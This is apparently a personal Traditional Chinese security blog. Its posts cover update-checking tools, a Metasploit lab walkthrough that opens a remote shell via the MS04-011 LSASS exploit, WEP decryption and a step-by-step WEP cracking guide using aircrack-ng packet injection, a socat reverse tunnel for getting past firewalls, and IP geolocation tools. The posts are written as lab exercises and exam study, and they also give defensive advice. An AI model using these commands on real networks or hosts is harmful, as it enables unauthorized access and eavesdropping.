搜尋此網誌

顯示具有 Tools 標籤的文章。 顯示所有文章
顯示具有 Tools 標籤的文章。 顯示所有文章

2009年1月19日 星期一

[工具介紹]幫助你隨時掌握應用程式更新狀態的小工具

在前一篇(更新-說的比做的容易多了)我們談到有關電腦系統更新的問題,而在這篇我要介紹一些可以用來解決(至少是部分解決)電腦更新問題的工具。在介紹之前,我先說明這類工具都有兩個最基本的問題,一個是沒辦法找出”所有”必須更新的程式,另外一個就是沒有辦法自動幫找出需要更新的應用程式進行更新的動作。

Secunia Personal Software Inspector

Secunia PSI

推薦指數:★★★☆

使用方法:安裝完畢後,開啟應用程式,在右方中間找到”Start Scan”的文字或圖示點下去就對了。

特色:

  1. 以安全的角度針對電腦內的應用程式做掃描,也就是找出有安全問題的軟體。
  2. 掃描結果會詳細描述該軟體的安全性問題,以及對於安全的危害程度。
  3. 會列出包含作業系統本身的安全更新。
  4. 因為著重在安全性的掃描,所以有不少軟體的更新並不會加以判斷並顯示。
  5. 更新方式的相關連結(如下載連結)在畫面上的呈現是一個藍色的小圈圈,相當不明顯。
  6. 檢查時間最久,需費時數分鐘以上。
  7. 有提供付費的版本,不過我沒試用過。

UpdateStar

UpdateStar

推薦指數:★★★★☆

使用方法:安裝完畢後,開啟應用程式。在左上角找到”Search for updates”的文字或圖示點下去就對了。

特色:

  1. 可以找出較多的應用程式更新資訊。而且找出的應用程式,不只包含所謂的Freeware/Shareware,也包含一些付費軟體(如PowerDVD)。
  2. 提供下載的連結,可以方便更新。
  3. 將更新檔對於安全性的威脅做一個分類,但是必須使用付費的版本才能使用。所以對於免費的版本,只能知道有更新檔,但是跟安全有沒有相關就無法得知。
  4. 本文介紹的三個應用程式的更新都可以找出來。
  5. 對於Google的程式,沒有辦法判斷不同語系的版本差異(也許針對其他應用程式也有此問題)。
  6. 功能較完整,提供的資訊也較多。但是相對使用上較為複雜,尤其如果對英文有抗拒的人,可能會造成一些門檻。
  7. 有些程式我明明已經更新了,不過顯示的結果依舊是未更新。
  8. 有提供付費的版本,不過我沒試用過。

FileHippo.com Update Checker

FileHippo

推薦指數:★★★★

使用方式:執行後會在工作列右方出現相關圖式,點選後會開啟瀏覽器顯示檢查結果。另外可以在圖式上方點選右鍵,會出現”Rescan for updates”的選項,可以即時更新狀態。

特色:

  1. 安裝後自動註冊到開機執行程序中,也就是每次開機就會自動執行並重新檢查。
  2. 檢查速度超快,不用幾秒就完成了。
  3. 提供清楚且明顯的下載連結,可以方便更新。
  4. 只能知道有更新檔,但是跟安全有沒有相關無法得知。
  5. 畫面簡潔而清楚。
  6. 提供包含Beta版本的更新資訊。
  7. 掃描的結果以Freeware/Shareware為主。
  8. 對於Google的程式,沒有辦法判斷不同語系的版本差異(也許針對其他應用程式也有此問題)。
  9. 無法檢查自己的更新。

這些工具都是免費或有免費的版本,所以別再讓懶惰成為唯一的藉口。英文不好?雖然這些軟體是英文介面,但是使用上都很直覺,不會有甚麼障礙才是。更好的是,這些軟體不像防毒軟體一樣擁有一山不容二虎的強硬性格,所以可以同時安裝多套,以收到更全面的掃描結果。

你有甚麼好的工具或方法可以保持電腦的更新狀態呢?歡迎你提出來與大家分享。

2008年12月1日 星期一

Metasploit 初體驗

最近在看Metasploit這個套件,最簡單的說法,Metasploit提供滲透測試者一個整合的環境,進行相關的任務。當然,Metasploit因為提供了良好的擴充性,所以也可以成為安全研究人員研究弱點的工具。而且最重要的是,這是免費使用而且是Open Source的工具。

雖然Metasploit比不上一些商業軟體,提供了高度自動化的滲透測試,但是相對來說彈性就更大。而且執行一個基本的測試,其實也不複雜,大概的流程如下:
  1. 選擇已知的漏洞(Exploit)。
  2. 選擇目標(Target)。這裡所謂的目標並不是哪一台/群電腦設備,而是指定設備的作業系統。因為不同的作業系統有不同的弱點與攻擊方式。
  3. 選擇攻擊的指令內容(Payload)。
  4. 設定其他相關參數(Option)。
  5. 進行測試(Explotation)。有兩種方式,一種是Check,並不會實際進行攻擊行為,所以不會造成被攻擊電腦設備的損害,但是準確性不高,而且不是所有的弱點都可以用此方式加以測試。另外一種是Exploit,也就是真正進行攻擊的行為,不會有誤判的問題,但是不小心可能會把電腦設備搞掛。
當然在執行1之前,我們必須有可能被攻擊目標的清單。除了手動額外執行相關的偵測行為外,更方便的是可以透過與nmap/nessus整合的功能,直接將nmap/nessus檢測的結果作為後續檢測的資料來源。

以下我用一個簡單的例子說明實際的操作方式(使用BackTrack 3.0就內建了Metasploit,而不需要自行安裝):
  1. 使用msfconsole,進入後會顯示版本與其他相關資訊。除了msfconsole外,也提供了msfweb(透過瀏覽器操作)。另外還有msfcli,可以與其他script結合而達到自動化。基本上我喜歡打指令的方式,不過msfweb有搜尋的功能,這部分在msfconsole上並沒有提供。鍵入help可以看到所有的指令。
  2. 選擇Exploits,在例子中我們使用ms04-11 (use windows/smb/ms04_11_lsass) 這個漏洞。這個漏洞主要針對Microsoft Windows 2000與早期的Microsoft Windows XP版本。執行後提示符號也改成相對應的文字。
  3. 查詢包含此漏洞的作業系統 (show targets)。
  4. 設定目標為Microsoft Windows 2000 (set target 1),此主機是我為了測試特別安裝的系統。如果不確定其作業系統,可以設定為自動偵測 (0)。不過我在實際的執行上,發現並不是100%準確,而有時候會影響到測試的結果。
  5. 選擇攻擊的指令,在範例中我們選擇建立一個tcp的連線,並開啟一個shell (set PAYLOAD windows/shell/bind_tcp)。
  6. 查詢其他相關所需的參數 (show options),有些參數為必須設定(Required欄位為yes),有些則可由使用者自行決定。此漏洞需要指定被攻擊電腦設備的IP位址(RHOST),我們設定為192.168.0.14 (set RHOST 192.168.0.14)。
  7. 進行實際的攻擊(exploit),顯示攻擊成功後開啟遠端作業系統的shell。
  8. 執行ipconfig(遠端作業系統的指令),顯示確實為192.168.0.14這台電腦設備。
當然,Microsoft Windows 2000是很早期的作業系統,在一般的環境下比較少見了。但是Microsoft Windows XP SP3呢?大概還是目前佔有率最高的作業系統。同樣透過Metasploit,我們可以攻擊Microsoft Windows XP SP3相關的漏洞。簡單嗎?看下面的範例就知道了。
可怕嗎?也許吧。這類的工具會不斷的進化,不但讓"好人"進行測試的門檻降低,也讓"壞人"進行破壞更加方便。我們該做的,還是做好原本就應該進行的保護措施,例如定期/主動進行更新。有多少人可以做到呢?根據一份報告顯示,只有不到2%的人辦到了。希望你我都是那2%的一份子。

2008年11月26日 星期三

無線網路封包擷取

在之前的文章 - WEP Cracking - 中我談到如何破解WEP的金鑰。破解金鑰之後有甚麼用途?
  1. 可以加入無線網路成為其中的一份子,然後"使用"其內部的相關網路資源。
  2. 可以透過此一無線網路對其他網際網路的主機進行"非法存取"。
  3. 可以竊取此一無線網路上所傳遞的資訊。
  4. 可以監看此一無線網路上的使用狀況。
基本上3跟4是類似的事情,不過4是屬於合法的使用,而3則屬於非法的行為。在此我不鼓勵也不從事非法的行為(項目1-3),所以我這次要談的是4的應用。

還記得上次我們在破解WEP金鑰的時候,有產生一個封包的紀錄檔 (wifi-01.cap)。這個檔案紀錄了當時所擷取到的封包,只不過封包的內容是經過WEP加密的。aircrack-ng有一個工具,可以幫我們進行解密的動作。指令為
airdecap-ng -e 00:XX:XX:XX:XX:3C -w 61xxxxxxxxxxxxxxxxxxxxxxxx wifi-01.cap
其中61xxxxxxxxxxxxxxxxxxxxxxxx就是WEP的金鑰,唯必須使用16進位的方式加以表示。解密後的封包會寫入wifi-01-dec.cap,這個檔案就可以直接用packet analyzer(如wireshark)打開並觀看到其中的原始內容了。

不過上述方式需要手動執行兩個分別的動作,而且不能夠即時看到封包內容,很明顯跟我們熟悉的方式有一段差距。幸運的是,有不少工具可以即時對WEP進行解密,並顯示封包的內容,其中包含最好用的免費軟體之一 - wireshark。實際上,wireshark不只能夠解開WEP的加密,也可以解開WPA的加密方式。方法如下:

  1. 打開wireshark。
  2. 選擇Edit->Preferences,其中左方有一個IEEE 802.11的設定畫面,把我們所知道的WEP金鑰鍵入,同樣要使用16進位的格式。
  3. 選擇"OK"完成設定。
  4. 進行監測,可以即時看到解密後的封包。
  5. 當封包數量過多而你只想要觀看單一電腦的封包,同樣可以透過filter的方式。如果你使用Capture Filter的話,要記得必須使用MAC Address的方式加以設定,而不能使用IP Address。那是因為解密前只有MAC Address的資訊可以取得。

2008年11月25日 星期二

WEP Cracking

無線網路(WiFi)的方便性與其帶來的安全危害,一直是一個兩難的問題,尤其對於企業更是如此。其中一個問題,就是WiFi使用的傳輸方式(無線電)不像傳統有線網路那般"不容易"被攔截。任何人只要有一個無線網路的介面(這個已經是筆記性電腦的標準備配),在適當的範圍內,就可以分享你的網路與其上的資訊。而透過一些特殊的工具,可以使用的距離甚至比你想像的還要遠很多。

針對資料容易被監測的問題,當然就是採用加密的方式加以解決。目 前一般有WEP、TKIP(WPA)與CCMP(WPA2)三種。其中WEP因為一些設計的問題,很容易被破解,而WPA於日前也被部分破解了。儘管如 此,有些無線網路仍舊使用WEP的方式,尤其是一些家庭用的無線網路更容易發生。

破解WEP的原理與工具其實已經存在很久了,有些(如 Airsnort)甚至只要一兩個步驟就可以加以破解。傳統上,破解有線網路的協定可以使用任何支援Ethernet的網路卡,但是對於破解WEP而言, 並不是所有的無線網卡都提供相同的能力。甚至同樣的無線網卡,在不同的組態下,可能都會有不同的效果。

以監測封包而言,傳統網卡使用的是 Promiscuous Mode,以便擷取所有流經線路上的封包。但是對於無線網卡而言,因為同一個地區可能有多個無線網路,所以採用不一樣的方式。無線網卡使用Monitor Mode,以便擷取所有的訊號。又WiFi有多個無線頻道可以使用,所以必須透過頻道輪流掃描的方式擷取封包,或是僅針對特定的頻道擷取封包。所以有可能還是會有漏網之魚(封包)。另外,如果要對無線網路"塞"假造的封包(這樣的動作稱之為Packet Injection),更是需要無線網卡本身有支援這樣的功能才行。所以,儘管相容性已經有大幅的改善,但是還是要有合適的無線網卡,才能夠有效的加以操作。Packet Injection為什麼這麼重要,看了後面的範例你就知道了。

我試過BackTrackWifislax兩 個Live CD,也使用過筆記型電腦與外接的USB無線網卡,各種組合都有其不同的步驟,有些組合甚至可能會有不同的結果。Wifislax預設是採用西班牙文的介面,所以使用上較為不方便,以下的範例我就使用BackTrack 3.0 + ASUS WL-167g + aircrack-ng,無線網路則是使用自己的無線基地台:
  1. 使用BackTrack Live CD開機
  2. 鍵入指令 iwconfig 查看是否有抓到無線網卡。我的無線網卡名稱是rausb0
  3. 鍵入指令 airodump-ng rausb0 查看所有可接受到的基地台訊號。我們的目標是第二個無線基地台,其使用WEP的加密方式。需要特別注意的是BSSID、CH、與ESSID這三個資訊,後面的指令會用到。
  4. 鍵入指令 airmon-ng stop rausb0 以便關閉無線網卡的Monitor模式。
  5. 鍵入指令 iwconfig rausb0 essid Sxxxxxxxxxx key 1234567890123,其中Sxxxxxxxxxx須使用步驟2所看到的ESSID。而1234567890123則隨便填,並非真正的加密金鑰。成功後再次鍵入指令 iwconfig 確認設定生效。
  6. 鍵入指令 ariodump-ng -c 11 -w wifi --bssid 00:XX:XX:XX:XX:3C rausb0 以便擷取封包並記錄到檔案(wifi),以利後續之分析動作。其中11為步驟2中所看到的CH、而00:XX:XX:XX:XX:3C則為步驟2中所看到的BSSID。執行後我們需要特別注意的是Data這個欄位,如果收集到足夠的量就可以了(我收集了200,000個左右)。對於使用中的網路,這個值可能不難達成,但是如果你需要加快收集的速度,或是沒有其他人在使用這個無線網路,你就需要額外多做後面兩個動作,也就是Packet Injection。
  7. 鍵入指令 aireplay-ng -1 0 -a 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B -e Sxxxxxxxxxx rausb0 ,對無線基地台做驗證的動作。其中00:XX:XX:XX:XX:3C與Sxxxxxxxxxx請參考步驟2所查到的資訊,而 00:0A:FD:3A:79:7B是為了改變封包所使用的MAC位址,所以亂填即可。
  8. 鍵入指令 aireplay-ng -3 -b 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B rausb0 ,對無線基地台進行大量Packet Injection的動作。成功後應該會看到步驟6畫面的Data數值加快成長。
  9. 收集足夠的資料後,停止airodump-ng與aireplay-ng的指令執行。
  10. 鍵入指令 aircrack-ng -n 128 -b 00:XX:XX:XX:XX:3C wifi-01.cap 執行破解WEP金鑰。只要有足夠的量,破解的時間很快(我使用的範例是0秒 )。

所以我們要如何增進無線網路的安全呢?下列簡單的建議事項提供參考(僅就避免無線網路被濫用或監看而言):
  1. 使用較安全的加密協定,如WPA2/CCMP。
  2. 使用MAC Address Filter,限制特定的網卡使用無線網路。不過因為MAC Address並沒有加密,所以有可能被監測到並被竊取。
  3. 將無線網路當作外部的網路,而不是內部網路的一份子。也就是必要時採用VPN的技術,讓無線網路的使用者擁有更高的安全性。
  4. 確認無線基地台的涵蓋範圍,必要時加以限制。
  5. 最重要的是,擁有一個明確的無線網路使用規範。
對於有關無線網路安全較完整的說明,可參考Cisco所發表的文章-Five Ways to Improve Your Wireless Security

2008年11月24日 星期一

反向連結 (Reverse Connection)

傳統上,保護電腦主機的方式最基本的就是關閉不必要的服務,並且透過防火牆等網路設備避免外界連結非公開的服務。甚至,有些電腦主機並沒有所謂公開的IP位址(Public IP Address),進一步封鎖外界直接加以連結的管道。也就是說,在網際網路上想要連結到某個電腦主機,除了必須知道特定的公開IP位址(可能在電腦主機本身,也可能在NAT之類的設備),中間還必須沒有其他的設備加以阻擋。所以我們可以透過前述的方式避免不相干的人士(嘗試)連結到我們的電腦主機,從事破壞性的工作。

除了限制外面的人連到內部的電腦主機,更嚴謹的作法是限制電腦主機主動對外進行連線。因為一般的電腦主機僅執行特定的功能,所以對外進行連線動作通常是可以事先預期的,有些甚至是可以完全不需要對外連線。限制的方法可以從網路端著手(如網路型的防火牆),也可以從電腦主機本身加以限制(如Linux下的iptables,或是其他主機型的防火牆)。從網路上著手當然有其方便性,而且有集中式管理的好處,但是如果要符合每個電腦主機的需求,可能會產生過多的規則而影響了防火牆的效能。所以就像所有的安全機制一樣,我們可以同時從網路端與主機端著手,以達到截長補短之效。

雖然理論上幾乎大部分的電腦主機不需要主動對外連線,但是因為現在包含作業系統在內,大多都有主動線上更新的機制,所以除非你有在內部網路建置更新的環境,否則都至少會有連到更新網站的需求。而結果是,只要開放一個Port,透過Tunneling的技術,幾乎可以連到外部所有的服務。更甚者,透過Reverse Connection/Reverse Tunneling的方法,可以讓外界連到內部電腦主機上任意的服務。

一般的網路應用在進行連結時,都是由使用服務的電腦(又稱之為Client)向提供服務的電腦(又稱之為Server)發出連線的請求,待Server回應後才開始後續的動作(如驗證、傳送特定內容等)。而Reverse Connection則是將這樣的應用反過來,讓提供服務的電腦主動對使用服務的電腦進行連線的動作。這樣作有甚麼用?最簡單的應用就是可以讓駭客或是不懷好意的員工隨時從外部進入你的電腦主機搞鬼,甚至是搬"一些"資料出來。

這類工具早期以netcat為首,不過netcat已經很久沒有維護了,所以接下來我用socat這個軟體進行一個簡單的示範。基本上,不管是netcat或是socat,本身並沒有隱藏的功能,所以比較容易從主機上被發現其存在或正在執行中。至於網路上的流量,可以透過一些加密的協定(如SSH)來達到避免被偵測的目的。以下就開始說明此一範例:

1. 準備兩台電腦,一台IP是192.168.0.11,另外一台10.10.10.104。雖然兩台電腦都屬於Private IP Address,但是我的測試環境是將192.168.0.11當作是Public IP Address,也就是10.10.10.104這台電腦可以直接連到192.168.0.11,但是192.168.0.11卻連不到10.10.10.104。


2. 在10.10.10.104這台電腦執行
socat -d -d -d -t5 tcp:192.168.0.11:80,forever,intervall=10,fork tcp:localhost:22
此指令會讓10.10.10.104這台電腦不斷嘗試連到192.168.0.11的TCP port 80(也就是一般Web使用的Port,通常在企業是允許對外使用的),當連結成功後會連到本身的SSH服務(TCP Port 22)。

3. 在192.168.0.11這台電腦執行
socat -d -d -d tcp-l:8080,reuseaddr,bind=192.168.0.11,fork tcp-l:80,bind=192.168.0.11,reuseaddr,retry=10
此指令會讓192.168.0.11這台電腦使用TCP Port 8080讓其他電腦進行連結,當連結上後會連結到TCP Port 80。而因為TCP Port 80已經被10.10.10.104這台電腦進行連結並轉至本身的SSH服務,所以等於讓其他電腦直接連結到10.10.10.104的SSH服務。

4. 使用SSH連線軟體(如Putty),對192.168.0.11的TCP Port 8080進行SSH連線。當出現登入畫面後要打入10.10.10.104主機的帳號與密碼,而非192.168.0.11的帳號。登入成功後,透過ifconfig確認已經進入10.10.10.104這台主機。



5. 使用wireshark查看,確認之間傳遞的封包都經過加密處理。


經由上述簡單的範例,我們可以看到如何有效繞過防火牆的機制,連線到內部主機的服務。所以我們除了限制電腦主機可以主動對外進行連線的Port外,最好也加上允許連線的外部IP位址。此外,不管有沒有限制可以連線的IP位址,對於主機對外連線的使用,最好加以記錄。另外,當然也包含了主機本身的防護(如執行程式/Rootkit的偵測)。老話一句,多管齊下才是邁向更為安全之道。

2008年9月25日 星期四

IP位址與所在區域對應的好工具

最近在準備CEH考試時,有一個項目是尋找目標的相關資訊,其中包含找出使用某IP位址的公司之相關資訊。這類的工具其實很多,現在甚至也有很多線上的工具可以免費使用。比較進階的就是除了文字的描述,還有附上該地區的地圖。地圖有使用專屬的,也有越來越多的工具使用Google Map。雖然之前我也用過這樣的工具,不過這次趁著準備考試時再次好好地使用了一下這類工具,也發現其實這類工具大多有一個很嚴重的問題存在。而我今天要談的就是其中表現比較不凡的工具。

在談這件事之前,我們要先知道在網際網路的系統上通常可以透過兩種方式加以識別。一般人比較熟悉的是所謂的電腦名稱(host name+domain name,如www.google.com)。要取得這類的名稱,通常必須先向某些特定的單位申請網域名稱(如google.com)的使用權,而申請時的資料,可以透過whois的機制加以查詢。所以,只要知道電腦名稱/網域名稱,我們可以很簡單的就知道申請公司的名稱、住址、連絡人等相關資訊。識別電腦的另外一個方式就是所謂的IP位址(如72.14.235.147)。這類IP位址的發放,全球根據地區分成五個管理的單位(見註一)。各地ISP業者在申請到特定的IP位址範圍後,再發放給實際需要的客戶。所以我們可以透過相關的工具或這些單位的網站,查到擁有某特定IP位址的ISP業者。

至於電腦名稱與IP位址的對應,在網際網路上主要是透過DNS的服務來達成。所以,我們可以從電腦名稱找尋對應的IP位址(稱之為正向查詢)。也就是說我們知道電腦名稱,不但可以查到公司的名稱、住址等資訊,還可以知道所對應的IP位址之ISP業者。反之,如果我們只知道IP位址,若想知道這個IP位址是哪個公司在使用的,則必須先透過反向查詢的方式找出對應的電腦名稱。可惜的是,除非有特別提出,否則一般就算是向ISP業者申請固定式的IP位址,他們也不會主動幫你設定反向查詢(沒有正確的設定反向查詢,有些網際網路的服務可能會不正常,不過這個不是我今天的重點)。而對於動態式的IP發放,那就更不用說了。另外,有時候多個電腦名稱也可能共用一個IP位址,此時反向查詢的結果也通常不是你想要的。也因此,只知道IP位址要查到公司等資訊通常機會是比較小的。不過,一般在攻擊是先選定特定的公司(網域名稱),而不是特定的IP位址。而只針對IP位址的攻擊(如亂槍打鳥式攻擊),通常也不在乎是哪家公司。所以對攻擊者來說,這類的問題不大。

知道了上述的事情,我們來看看一般所謂IP位址對應所在區域的工具是如何透過IP位址知道這個IP位址所在的地區。根據前述,我們知道有IP位址,我們可以知道擁有該IP位址的ISP業者,甚至有可能查到對應電腦名稱的註冊公司,所以我們手邊有了ISP業者的地址與公司的地址。而一般工具所顯示的城市地區,其實就是ISP業者的地址。當然,如果兩個地址相比較,顯然ISP業者的地址是比較可信的,因為公司可以到任何國家註冊網域名稱,但是ISP業者的業務區域卻是固定的。不過ISP業者的業務區域雖然固定,但卻不是侷限於一個城市內,所以這樣的資訊,其實準確度依舊是有很大的疑問。我服務的公司剛好有南北兩個辦公室,我查了一下我們南部辦公室使用的IP位址,幾乎所有的工具都顯示所在地是台北。是的,我們申請的ISP業者是註冊在台北,但是該IP卻不是使用在台北的區域。僅有兩個工具,正確的顯示了我們南部辦公室所在的區域。一個是IP Address Locator,另一個則是IP2Location Database。前者是免費的工具,後者則是要付費的。前者在網站也特別提到他們是透過分析網路流量的方式,找出特定IP位址所在的區域,而不是透過前述的註冊資料。而且IP Address Locator也對應到了Goolge Map,算是一個方便而實用的小工具。所以,下次當你想到知道使用某個IP位址/電腦名稱的主機來自哪裡,別忘了問一下IP Address Locator。

註一(參考自The CEH Prep Cuide):
  • American Registry for Internet Numbers (ARIN): North America
  • RIPE Network Coordination Centre (RIPE NCC): Europe, the Middle East and Central Asia
  • Asia-Pacific Network Information Centre (APINC): Asia and the Pacific Region (台灣)
  • Latin American and Caribbean Internet Address Registry (LACNIC): Latin America and the Caribbean region
  • African Network Information Centre (AfirNIC): Africa

About